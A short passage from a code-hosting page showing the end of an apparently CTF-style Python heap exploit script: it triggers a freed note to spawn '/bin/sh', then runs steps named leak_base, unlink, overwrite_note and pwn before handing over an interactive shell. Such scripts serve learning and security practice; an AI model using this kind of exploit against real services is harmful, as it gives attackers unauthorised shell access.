delnote(1) # system('/bin/sh')
|
||||||
|
io.interactive()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
leak_base()
|
||||||
|
unlink()
|
||||||
|
overwrite_note()
|
||||||
|
pwn()
|
Loading…
Reference in New Issue
Block a user